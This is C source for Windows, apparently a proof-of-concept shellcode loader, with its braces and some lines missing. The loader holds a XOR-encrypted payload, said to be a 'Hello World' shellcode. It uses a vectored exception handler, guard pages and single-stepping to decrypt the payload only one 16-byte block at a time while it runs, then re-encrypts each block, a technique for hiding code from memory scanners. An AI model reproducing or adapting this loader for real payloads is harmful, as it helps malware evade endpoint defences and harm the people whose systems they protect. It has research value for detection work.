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Single Step Encryption/Decryption
#include <Windows.h>
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();
LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;
// Hello World! shellcode encrypted with single byte xor (0xff)
unsigned char Shellcode_XOR_FF[400] =
0x16, 0xF4, 0xFE, 0xFF, 0xFF, 0x33, 0x33, 0x33, 0xB7, 0x74, 0x3B, 0xB7, 0x76, 0xA7, 0xF7, 0xB7,
0x76, 0x97, 0xEF, 0xB7, 0x76, 0x8F, 0xE7, 0xB7, 0x76, 0x87, 0xDF, 0xBE, 0xA9, 0xBE, 0xA8, 0x9A,
0xB7, 0x74, 0xFB, 0xDA, 0x9F, 0xFF, 0xFF, 0xFF, 0xBB, 0x74, 0x06, 0xB7, 0x74, 0xAF, 0xE7, 0xB3,
0x74, 0x8D, 0xDF, 0xB2, 0x74, 0x39, 0xB2, 0x74, 0xB7, 0xDF, 0xB2, 0x74, 0xFF, 0xB2, 0x7A, 0x36,
0xF0, 0x7B, 0x76, 0xFF, 0xFF, 0xFF, 0xB6, 0x9C, 0xBE, 0xC3, 0xBD, 0x74, 0x73, 0xF7, 0x77, 0xFF,
0xFF, 0xFF, 0x7A, 0x36, 0x8B, 0x86, 0xB2, 0x72, 0xEB, 0xF6, 0xBE, 0x74, 0xAD, 0xF3, 0xB6, 0xFC,
0x2E, 0xCC, 0x00, 0x14, 0xE9, 0x3E, 0x30, 0xF2, 0xBE, 0xF0, 0x41, 0x34, 0xBE, 0x7F, 0x04, 0x9E,
0x72, 0xBE, 0x1F, 0xF0, 0xB3, 0x3E, 0xFC, 0x07, 0xB7, 0x00, 0x3D, 0xBB, 0x75, 0xE5, 0xBA, 0x7B,
0x24, 0x8A, 0x1D, 0xBE, 0x74, 0xAD, 0xDF, 0xBA, 0xCC, 0x24, 0xB6, 0xFC, 0x2E, 0xBA, 0xC6, 0xA5,
0xE7, 0x89, 0xC3, 0x74, 0xE5, 0xB6, 0xFC, 0x26, 0xCC, 0x09, 0x14, 0xE9, 0x3E, 0x31, 0xF2, 0xBF,
0xF0, 0x41, 0x32, 0xBF, 0x7F, 0x02, 0x9E, 0x72, 0xBE, 0x1F, 0xF0, 0xB3, 0x3E, 0xFC, 0x0F, 0xB7,
0x00, 0x3C, 0xBF, 0x75, 0xD4, 0xBF, 0x7B, 0x12, 0x8A, 0x1D, 0x72, 0xFB, 0xC1, 0xBB, 0xC4, 0x07,
0x8B, 0xCE, 0xBE, 0x00, 0x3C, 0xB7, 0x7C, 0x3D, 0xFB, 0xBA, 0xC4, 0xA5, 0xE7, 0x8D, 0x3B, 0xB2,
0xC4, 0x39, 0xF0, 0x7A, 0xA1, 0x00, 0x00, 0x00, 0xCC, 0x3F, 0xB7, 0x74, 0xA3, 0xDB, 0xE7, 0xB7,
0x74, 0x93, 0xDB, 0xDF, 0xB7, 0x74, 0x8B, 0xDB, 0xD7, 0xB7, 0x74, 0x83, 0xDB, 0xCF, 0xBE, 0xA0,
0xBE, 0xA1, 0x3C, 0xBE, 0x74, 0xB5, 0xDB, 0xB6, 0xFC, 0x36, 0xB9, 0xF0, 0x48, 0xFB, 0xA6, 0xBE,
0x74, 0xB5, 0xE3, 0xB6, 0xFC, 0x36, 0xBD, 0x74, 0xFB, 0x7E, 0xB6, 0xFC, 0x3E, 0x14, 0x34, 0x33,
0xBF, 0xAA, 0xB7, 0x74, 0x13, 0xB7, 0x7C, 0x13, 0xAF, 0xCC, 0x3F, 0x38, 0xBA, 0x2F, 0x8A, 0x8C,
0x9A, 0x8D, 0x46, 0x72, 0xEF, 0x48, 0x07, 0x77, 0xBA, 0x25, 0x77, 0xBA, 0x15, 0x77, 0xBA, 0x03,
0x38, 0xBA, 0x2B, 0xCC, 0xCD, 0xD1, 0x9B, 0x99, 0x38, 0xBA, 0x27, 0x93, 0x93, 0x38, 0xBA, 0x1F,
0xAC, 0x97, 0x9A, 0x93, 0x38, 0xBA, 0x1B, 0x93, 0xAC, 0x8B, 0x9B, 0x99, 0x38, 0xBA, 0x17, 0x96,
0x90, 0x38, 0xBA, 0x0F, 0xB7, 0x9A, 0x93, 0x93, 0x38, 0xBA, 0x0B, 0x90, 0xDF, 0xA8, 0x90, 0x38,
0xBA, 0x07, 0x8D, 0x93, 0x9B, 0xDE, 0x17, 0x62, 0x01, 0x00, 0x00, 0xB7, 0x72, 0xB2, 0x2F, 0x00,
0x2F, 0x46, 0x61, 0x87, 0x87, 0x32, 0x17, 0x72, 0x01, 0x00, 0x00, 0xBA, 0xCC, 0x36, 0xB3, 0x72,
0xBA, 0x1F, 0xB7, 0x72, 0xAA, 0x0F, 0xCC, 0x36, 0x00, 0x2F, 0xB7, 0x7C, 0x3B, 0xAF, 0xA2, 0x3C
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo)
BYTE* currentBlock128 = NULL;
CurrentOffset = (ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress - (ULONG_PTR)ShellcodeBuffer;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)
// This is a naive disassembler
// Hopefully no instruction is longer than 16 bytes
currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + CurrentOffset);
PreviousOffset = CurrentOffset;
// Decrypt next 16-byte block
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
for (size_t i = 0; i < 0x10; i++)
*(BYTE*)(currentBlock128 + i) ^= 0xff;
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ, &dwOld);
// Single step
ExceptionInfo->ContextRecord->EFlags |= 0x100;
// Execute next instruction
else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + PreviousOffset);
// Re-encrypt the 16-byte block
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
for (size_t i = 0; i < 0x10; i++)
*(BYTE*)(currentBlock128 + i) ^= 0xff;
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld);
// Continue execution at next instruction
int main(void)
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
ShellcodeBuffer = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
InstructionCount = 0;
if (ShellcodeBuffer)
RtlCopyMemory(ShellcodeBuffer, Shellcode_XOR_FF, sizeof(Shellcode_XOR_FF));
if (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld))
Shellcode AntiMem = (Shellcode)ShellcodeBuffer;
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